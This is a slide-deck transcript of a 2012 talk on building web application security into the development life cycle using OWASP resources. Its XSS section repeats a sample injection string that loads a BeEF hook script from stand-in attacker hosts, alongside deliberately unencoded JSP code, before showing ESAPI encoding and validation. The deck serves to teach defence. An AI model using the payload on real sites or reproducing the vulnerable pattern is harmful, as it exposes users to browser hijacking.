Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Application Security Done Right

1,103 views

Published on

Most of the money thrown at securing information systems misses the weak spots. Huge amounts are spent securing infrastructure while web applications are left exposed. It is a crisis that is largely ignored.

Software development teams, under pressure to deliver features and meet deadlines, often respond to concerns about the security of their web applications by commissioning a last-minute security assessment and then desperately attempt to address only the most glaring findings. They may even simply throw up a web application firewall to mitigate the threats. Such bolted-on solutions are not long-term answers to web application security.

Instead, we advocate a built-in approach. We will show that by weaving security into the software development life cycle, and using mature resources for security coding standards, toolkits and frameworks such as those from OWASP, development teams can consistently produce secure systems without dramatically increasing the development effort or cost.

This slide deck was most recently presented at a SPIN meeting in Cape Town In September 2012 by Paul and Theo from ThinkSmart (www.thinksmart.co.za).

For more information, contact Paul at ThinkSmart (dot see oh dot zed ay).

Published in: Technology
  • Be the first to comment

Application Security Done Right

  1. 1. OWASP Built in, not bolted on: web application security done right Paul van Woudenberg & Theo van Niekerk ThinkSmart
  2. 2. ThinkSmart• Paul van Woudenberg & Theo van Niekerk• Web application development background• Strong security focus – clients have demanded it (financial institutions, etc) – we have a passion for security• Today we’re exclusively focussed on helping our clients with application security assurance• We promote OWASP where we can www.thinksmart.co.za
  3. 3. OWASP• The Open Web Application Security Project• Worldwide free and open community• Focused on improving the security of application software• Over 70 OWASP Local Chapters world-wide• Tools and documents: – detect and guard against security-related design and implementation flaws – add security-related activities to your SDLC• www.owasp.org
  4. 4. Information Security Risk Today• The network / infrastructure security problem is largely solved – mature – standardised – well understood• Business is moving ever increasingly to the Web – efficiencies, market reach – Web 2.0 – SaaS – mobile• Attackers have moved on to exploiting software vulnerabilities in web applications. – they follow the money – attacks tools have become industrialised
  5. 5. Evidence of Attacks• Reports vary, but most recent ones agree that more than 80% of attacks perpetrated today are against web applications.• 7Safe (UK Security Breach Investigations Report) – “in 86% of all attacks, a weakness in a web interface was exploited”• Privacy Rights Clearinghouse – “In 2009, 93% of all data breaches ... concerned compromised databases or applications.”
  6. 6. Verizon DBIR 2010• Latest Verizon Data Breach Investigations Report (for 2010): – Who is behind data breaches? - 92% stemmed from external agents – How do breaches occur? - 50% utilised some form of hacking – What commonalities exist? - 96% of attacks were not highly difficult• Where should mitigation efforts be focused? – Eliminate unnecessary data; keep tabs on what’s left – Ensure essential controls are met – Check the above again – Assess remote access services – Test and review web applications – Audit user accounts and monitor privileged activity – Monitor and mine event logs – Examine ATMs and other payment card input devices for tampering
  7. 7. How prevalent are attacks?• July 2012 study: more than 50% of responding companies experienced at least one app sec breach in previous 18 month period• For many, loss > $500k per incident• Key findings: – Application security incidents are common and have severe consequences. – Many organisations still struggle with the most basic security flaws. – Most organisations do not have a holistic or strategic approach to application security. – Application development and security teams and goals are often not aligned for optimised results.
  8. 8. Some scary graphs...
  9. 9. Other App Sec Drivers• Good civic hygiene (a la Phil Zimmermann, PGP & Zfone) – PZ on why we need to encrypt VOIP: “Phone calls are moving from the well-manicured neighbourhood of the PSTN to the urban blight of the Internet. We must encrypt VOIP - it’s part of good civic hygiene.” – Similarly, business processes are moving from the well-manicured neighbourhood of the front office to web apps located in the urban blight of the Internet. Properly securing web apps is part of good civic hygiene.• Compliance (e.g. PCI DSS)• New Companies Act• PPI Bill• Basel II• King III
  10. 10. NetSec is Still the Darling• InfoSec spending is missing the target (yesterday’s war).• White Hat / Imperva survey (April 2010) – “only 18% of IT security budgets were allocated to address the threat posed by insecure Web applications”• But, as we’ve seen, the majority of attacks today are against software applications.• Why are organisations still spending majority of InfoSec budget on network / infrastructure? – Force of habit / budget inertia Application – “Best practise” Presentation – Compliance Session – OSI stack-approach to security (hence WAFs) Transport Network – Software security is perceived to be hard Data Link Physical
  11. 11. Think Different• Software security can no longer be ignored• But it is a different problem to net / inf sec. – Lego vs Clay• Firewalls still need to allow access to :80 or :443.• Software is like clay - has many degrees of freedom – great for creating all sorts of desired features – but often the process of building software systems results in all sorts of undesired features, including security vulnerabilities
  12. 12. Expectation vs Reality• So clearly, developers need to write more secure code BY THE WAY, YOUR CODE• But why would they do this if IS SECURE, ISN’T IT? they are measured only on how fast they deliver business features?• Developers don’t attend security conferences - they’re back at the office churning out features• Your software developers are your most important security resource!
  13. 13. Rugged Software Manifesto• ruggedsoftware.org
  14. 14. Security Training
  15. 15. Security in the spec• Security is about incentives (Ross Anderson)• Developers need to be measured on the security of their code• To do this fairly, it cannot be done in an ad-hoc fashion - developers need to fulfil security requirements just like they do feature requirements• Security requirements must be part of the spec of each system• Build security in – start by creating explicit security requirements in your specifications
  16. 16. The Quality Lever Source: Borland• Applies equally to security
  17. 17. Security Requirements• Take measures to avoid security bugs – OWASP Top-10 & Dev Guide – Frameworks – Tools• Take measures to reduce security design flaws – In the requirements process: • business analysis produces feature requirements • do risk analysis on business requirements to drive out security requirements - if the BA is not a security expert, get your ISO or an expert consultant to help.
  18. 18. Security in the Design• Security feature design is important and hard to get right.
  19. 19. What’s the password?
  20. 20. Drivers for Security Requirements• Business needs – functional needs of the business processes implemented in the app (e.g. data access permissions, forgot password process)• Risk analysis – threat modelling, vulnerability analysis, abuse cases – attack trees, STRIDE, DREAD – involve the business owners to discover severity of each type of loss – involve your ISO• Regulatory demands – PPI – SAS 70 – ECT Act – FIPS (crypto)
  21. 21. Secure SDLC• Weave a thread of security through each phase of your SDLC: – Requirements – Design – Construction – Testing – Deployment – Operations – Decommissioning• Security touches all aspects of an SDLC and must be reasonably spread over the process.
  22. 22. Security Activities in SDLC• Typical security activities in a Secure SDLC include: – Source Code Protection – Fuzzing – Threat Modelling – Security Requirements Template – Static Analysis – Dynamic Analysis – Security Enriched Code Libraries – Automated Penetration Testing – Training – Security Code Review – Manual Penetration Test – Final Security Review/Audit
  23. 23. Software Assurance Program• OpenSAMM (Software Assurance Maturity Model)• An OWASP Project• Drivers for a maturity model: – An organisation’s behaviour changes slowly over time OWASP • Changes must be iterative while working toward long-term goals – There is no single recipe that works for all organisations • A solution must enable risk-based choices tailor to the organisation – Guidance related to security activities must be prescriptive • A solution must provide enough details for non-security-people – Overall, must be simple, well-defined, and measurable
  24. 24. SAMM Business Functions• Start with the core activities tied to any organisation !"#$%&&($ performing software development. !"#$%&(%)"#• Named generically, but should resonate with any developer or manager. !"#$%&($)* !"#$%&"()
  25. 25. SAMM Security Practices• From each of the Business Functions, 3 Security Practices are defined.• The Security Practices cover all areas relevant to software security assurance.• Each one is a ‘silo’ for improvement.
  26. 26. Under each Security Practice• Three successive Objectives under each Practice define how it can be improved over time. – This establishes a notion of a Level at which an organisation fulfils a given Practice.• The three Levels for a Practice generally correspond to: – (0: Implicit starting point with the Practice unfulfilled) – 1: Initial understanding and ad hoc provision of the Practice – 2: Increase efficiency and/or effectiveness of the Practice – 3: Comprehensive mastery of the Practice at scale
  27. 27. SAMM Roadmap• To make the “building blocks” usable, SAMM defines Roadmaps templates for typical kinds of organisations: – Independent Software Vendors – Online Service Providers – Financial Services Organisations – Government Organisations
  28. 28. SAMM Re-cap• Evaluate an organisations existing software security practices.• Build a balanced software security assurance program in well-defined iterations.• Demonstrate concrete improvements to a security assurance program.• Define and measure security-related activities throughout an organisation.
  29. 29. Institutionalise App Sec• Your ISMS demands it - e.g. ISO 27001/2: – 10.9: Electronic commerce services – 11.6: Application and information access control – 12: Information systems acquisition, development and maintenance• Create a software assurance programme to address these – OpenSAMM, BSI-MM, Microsoft SDL• Weave a thread of security through your SDLC.• At very least, put security requirements in your specs & give your development teams the three T’s :) – Training (consultants can help) – Tools (lots of excellent free tools available) – Time (to get to grips with their role in security - most devs not exposed - flaw in dev education at uni, tech etc.)
  30. 30. App Sec in Context
  31. 31. App Sec in Context Secure Coding Dev Guide
  32. 32. App Sec in Context Secure SDLC Secure Coding Dev Guide Agile (Scrum)
  33. 33. App Sec in Context Software Assurance Programme Secure SDLC Secure Coding Dev Guide Agile (Scrum) OpenSAMM
  34. 34. App Sec in Context ISMS Software Assurance Programme Secure SDLC Secure Coding Dev Guide Agile (Scrum) OpenSAMM ISO 27001
  35. 35. How do I start?• Medium to long-term – establish a formal software assurance programme (e.g. OpenSAMM).• Today – put security requirements in your specs – start with generic risk-based requirements, e.g. OWASP Top-10 – find/appoint a champion (with authority) who will oversee this
  36. 36. Software Development• Software Development Life-Cycle
  37. 37. Software Development• Software Development Life-Cycle – Coding – Deployment
  38. 38. Software Development• Software Development Life-Cycle – Coding – Deployment – Maintenance – Disposal
  39. 39. Software Development• Software Development Life-Cycle – Design – Coding – Deployment – Maintenance – Disposal
  40. 40. Software Development• Software Development Life-Cycle – Design – Coding – Testing – Deployment – Maintenance – Disposal
  41. 41. Software Development• Software Development Life-Cycle – Requirements – Design – Coding – Testing – Deployment – Maintenance – Disposal
  42. 42. Software Development• Software Development Life-Cycle – Requirements – Design – Coding – Testing Key to – Deployment success – Maintenance – Disposal
  43. 43. Software DevelopmentSecure • Software Development Life-Cycle – Requirements – Design – Coding – Testing Key to – Deployment success – Maintenance – Disposal
  44. 44. Secure SDLC• Secure Software Development Life-Cycle – Secure Requirements – Secure Design – Secure Coding – Secure Testing – Secure Deployment – Secure Maintenance – Secure Disposal
  45. 45. Secure SDLC• Secure Software Development Life-Cycle – Secure Requirements – Secure Design – Secure Coding – Secure Testing K ey to – Secure Deployment Se cu r i ty – Secure Maintenance – Secure Disposal
  46. 46. Security Requirements• Change your organisation – Executive buy-in – Implement S-SDLC• Steps to develop Requirements – Engage with Client / Business Partner – Identify Policies and Standards – Identify Regulatory, Compliance, and Privacy Requirements – Develop CIA Objectives – Develop Procurement Requirements – Perform Risk Assessment
  47. 47. Security Requirements• Change your organisation What’s the – Executive buy-in – Implement S-SDLC problem?• Steps to develop Requirements – Engage with Client / Business Partner – Identify Policies and Standards – Identify Regulatory, Compliance, and Privacy Requirements – Develop CIA Objectives – Develop Procurement Requirements – Perform Risk Assessment
  48. 48. Security Requirements• Change your organisation What’s the – Executive buy-in – Implement S-SDLC problem?• Steps to develop Requirements – Engage with Client / Business Partner – Identify Policies and Standards – Identify Regulatory, Compliance, and Privacy Requirements – Develop CIA Objectives – Develop Procurement Requirements – Perform Risk Assessment
  49. 49. Security Requirements• Change your organisation What’s the – Executive buy-in – Implement S-SDLC problem?• Steps to develop Requirements – Engage with Client / Business Partner – Identify Policies and Standards – Identify Regulatory, Compliance, and Privacy Requirements – Develop CIA Objectives – Develop Procurement Requirements – Perform Risk Assessment
  50. 50. What now?• There is hope :)• All that you need is available – Information – Tools – Techniques – Training – Plan• You can make a big difference
  51. 51. OWASP Top 10 OWASP Open Web Application Security Project• OWASP has tools and resources to help• Get the Top 10 – http://www.owasp.org/index.php/Top_10
  52. 52. OWASP Top 10 OWASP Open Web Application Security Project Next• OWASP has tools and resources to help Step• Get the Top 10 – http://www.owasp.org/index.php/Top_10
  53. 53. Top 10 - Fix these
  54. 54. Top 10 - Fix theseStart by doing these!
  55. 55. Top 10 - Fix theseStart by doing these!
  56. 56. Top 10 - XSS
  57. 57. Top 10 - XSSRead t h is
  58. 58. Top 10 - XSSRead t h is Get the C heat Sheet
  59. 59. XSS Cheat Sheet• Implement the XSS Prevention Rules – Never Insert Untrusted Data Except in Allowed Locations – Encode before Inserting Untrusted Data into • HTML Element Content • HTML Common Attributes • JavaScript Data Values • Style Property Values • URL Parameter Values – Validate/Clean User-driven HTML – Prevent DOM-based XSS 39
  60. 60. XSS Cheat Sheet• Implement the XSS Prevention Rules – Never Insert Untrusted Data Except in Allowed Locations – Encode before Inserting Untrusted Data into • HTML Element Content • HTML Common Attributes • JavaScript Data Values • Style Property Values • URL Parameter Values – Validate/Clean User-driven HTML – Prevent DOM-based XSS 39
  61. 61. Escaping JS Data• JavaScript Encode Before Inserting Untrusted Data into HTML JavaScript Data Values – inside quoted string <script>alert(ENCODE UNTRUSTED DATA)</script> – one side of quoted expression <script>x=ENCODE UNTRUSTED DATA</script> – inside quoted event handler <div onmouseover="x=ENCODE UNTRUSTED DATA"></div> 40
  62. 62. Unsafe Code• JSP Source<% /** name gets set to:Jim);"><script src=http://evil.com/beef/hook/beefmagic.js.php></script><"**/ String name = request.getParameter("name");%><body onload="alert(Hello <%=name%>);">• Generated HTML<body onload="alert(Hello Jim);"><script src=http://attackersite/beef/hook/beefmagic.js.php></script><");"> 41
  63. 63. Unsafe Code u ntru sted• JSP Source d ata<% /** name gets set to:Jim);"><script src=http://evil.com/beef/hook/beefmagic.js.php></script><"**/ String name = request.getParameter("name");%><body onload="alert(Hello <%=name%>);">• Generated HTML<body onload="alert(Hello Jim);"><script src=http://attackersite/beef/hook/beefmagic.js.php></script><");"> 41
  64. 64. Unsafe Code u ntru sted• JSP Source d ata<% /** name gets set to:Jim);"><script src=http://evil.com/beef/hook/beefmagic.js.php></script><"**/ String name = request.getParameter("name"); no enco d ing!%><body onload="alert(Hello <%=name%>);">• Generated HTML<body onload="alert(Hello Jim);"><script src=http://attackersite/beef/hook/beefmagic.js.php></script><");"> 41
  65. 65. Unsafe Code u ntru sted• JSP Source d ata<% /** name gets set to:Jim);"><script src=http://evil.com/beef/hook/beefmagic.js.php></script><"**/ String name = request.getParameter("name"); no enco d ing!%><body onload="alert(Hello <%=name%>);"> XSS• Generated HTML inje ction<body onload="alert(Hello Jim);"><script src=http://attackersite/beef/hook/beefmagic.js.php></script><");"> 41
  66. 66. Security Control• What should the Control do? – Encode unsafe data – Prevent switching out of the data value context • into the script context • into or into another attribute.• How? – Allow Alphanumeric characters – Encode chars < 256 using the xHH format – Encode chars >= 256 using the uHHHH format – Don’t use shortcuts like " t n – HTML parser runs before JS parser, e.g. </script> inside quotes 42
  67. 67. Selecting a Control• Think carefully before rolling your own – May introduce new vulnerabilities – May not work correctly – Don’t reinvent the wheel• Your Framework is your friend – Tapestry/Spring/Cake/Symfony – But verify the implementation first!• Microsoft SDL – http://antixss.codeplex.com• OWASP Enterprise Security API – ESAPI – Java and PHP 43
  68. 68. OWASP’s ESAPI• Enterprise Security API – by OWASP• Set of foundational security controls• Integrated with each other• BSD license• Major security firm did line-by-line code review• Get there faster and cheaper• Includes Intrusion Detection Framework – Wire this do the inner workings of your app – Security Logs – WAF with custom rules 44
  69. 69. Safe Code (with ESAPI)• JSP Source<% /** name gets set to:Jim);"><script src=http://attackersite/beef/hook/beefmagic.js.php></script><"**/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name);%><body onload="alert(Hello <%=safe%>);">• Produced HTML<body onload="alert(Hello Jimx27x29x3Bx22x3Ex3Cscriptx20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhookx2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27);"> 45
  70. 70. Safe Code (with ESAPI)• JSP Source<% /** name gets set to:Jim);"><script src=http://attackersite/beef/hook/beefmagic.js.php></script><"**/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name);%><body onload="alert(Hello <%=safe%>);">• Produced HTML<body onload="alert(Hello Jimx27x29x3Bx22x3Ex3Cscriptx20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhookx2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27);"> 45
  71. 71. Safe Code (with ESAPI) untrus te d• JSP Source data<% /** name gets set to:Jim);"><script src=http://attackersite/beef/hook/beefmagic.js.php></script><"**/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name);%><body onload="alert(Hello <%=safe%>);">• Produced HTML<body onload="alert(Hello Jimx27x29x3Bx22x3Ex3Cscriptx20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhookx2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27);"> 45
  72. 72. Safe Code (with ESAPI) untrus te d• JSP Source data<% /** name gets set to:Jim);"><script src=http://attackersite/beef/hook/ proper enco d ingbeefmagic.js.php></script><"**/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name);%><body onload="alert(Hello <%=safe%>);">• Produced HTML<body onload="alert(Hello Jimx27x29x3Bx22x3Ex3Cscriptx20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhookx2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27);"> 45
  73. 73. Safe Code (with ESAPI) untrus te d• JSP Source data<% /** name gets set to:Jim);"><script src=http://attackersite/beef/hook/ proper enco d ingbeefmagic.js.php></script><"**/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name);%> safe<body onload="alert(Hello <%=safe%>);">• Produced HTML rend ering<body onload="alert(Hello Jimx27x29x3Bx22x3Ex3Cscriptx20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhookx2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27);"> 45
  74. 74. Safe Code (with ESAPI)• JSP Source<% /** name gets set to:Jim);"><script src=http://attackersite/beef/hook/beefmagic.js.php></script><"**/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name);%><body onload="alert(Hello <%=safe%>);">• Produced HTML<body onload="alert(Hello Jimx27x29x3Bx22x3Ex3Cscriptx20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhookx2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27);"> 45
  75. 75. More ESAPI• JSP Source where’s the input<% /** name gets setto: vali dation?Jim);"><script src=http://attackersite/beef/hook/beefmagic.js.php></script><"**/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name);%><body onload="alert(Hello <%=safe%>);">• Produced HTML<body onload="alert(Hello Jimx27x29x3Bx22x3Ex3Cscriptx20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhookx2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27);"> 46
  76. 76. More ESAPI where’s the input vali dation?String name = request.getParameter("name");String safe = ESAPI.encoder().encodeForJavaScript(name); 46
  77. 77. More ESAPIString name = request.getParameter("name");String safe = ESAPI.encoder().encodeForJavaScript(name); 46
  78. 78. Input ValidationValidator validator = ESAPI.validator();try { String name = validator.getValidInput(context, request.getParameter("name"), CLIENT_RE,16,false); String safe = ESAPI.encoder().encodeForJavaScript(name); //normal workflow} catch (ValidationException x) { // report input failure to user} 47
  79. 79. Input ValidationValidator validator = ESAPI.validator(); vali dtry { ate String name = validator.getValidInput(context, request.getParameter("name"), input CLIENT_RE,16,false); String safe = ESAPI.encoder().encodeForJavaScript(name); //normal workflow} catch (ValidationException x) { // report input failure to user} 47
  80. 80. Input ValidationValidator validator = ESAPI.validator(); vali dtry { ate String name = validator.getValidInput(context, request.getParameter("name"), input CLIENT_RE,16,false); String safe = ESAPI.encoder().encodeForJavaScript(name); //normal workflow} catch (ValidationException x) { // report input failure to user} 47
  81. 81. Input ValidationValidator validator = ESAPI.validator(); vali dtry { ate String name = validator.getValidInput(context, request.getParameter("name"), input CLIENT_RE,16,false); String safe = ESAPI.encoder().encodeForJavaScript(name); //normal workflow} catch (ValidationException x) { // report input failure to user} 47
  82. 82. Input ValidationValidator validator = ESAPI.validator(); vali dtry { ate String name = validator.getValidInput(context, request.getParameter("name"), input CLIENT_RE,16,false); String safe = ESAPI.encoder().encodeForJavaScript(name); //normal workflow} catch (ValidationException x) { // report input failure to user} ESAPI: does security logg ing wakes up Intrusion Detection 47
  83. 83. Top 10 - DoneStart by doing these! 48
  84. 84. Top 10 - Done48
  85. 85. Top 10 - Done ESAPI Encoder API48
  86. 86. Top 10 - Done ESAPI Encoder, Validator APIs ESAPI Encoder API ESAPI Authenticator, User APIs ESAPI Access Ref Map, Access Ctrl APIs ESAPI HTTPUtils ESAPI Encryptor API ESAPI Access Control API ESAPI Security Wrapper Response48
  87. 87. Top 10 - Done ESAPI Encoder, Validator APIs ESAPI Encoder API ESAPI Authenticator, User APIs ESAPI Access Ref Map, Access Ctrl APIs ESAPI HTTPUtils ESAPI Encryptor API ESAPI Access Control API ESAPI Security Wrapper Response48
  88. 88. So what about risk #11?• You’re not done yet - the Top-10 is just the beginning• OWASP Top-10 - document references & additional risks references.• OWASP Development Guide – http://www.owasp.org/index.php/Category:OWASP_Guide_Project – 2005 version – Surprisingly still very valid – 2010 version under development• CWE / SANS Top 25 – http://cwe.mitre.org/top25/index.html• WASC – http://projects.webappsec.org/Threat-Classification – http://projects.webappsec.org/Threat-Classification-Taxonomy-Cross-Reference-View
  89. 89. OWASP Thank You! Questions?www.owasp.org www.thinksmart.co.za

×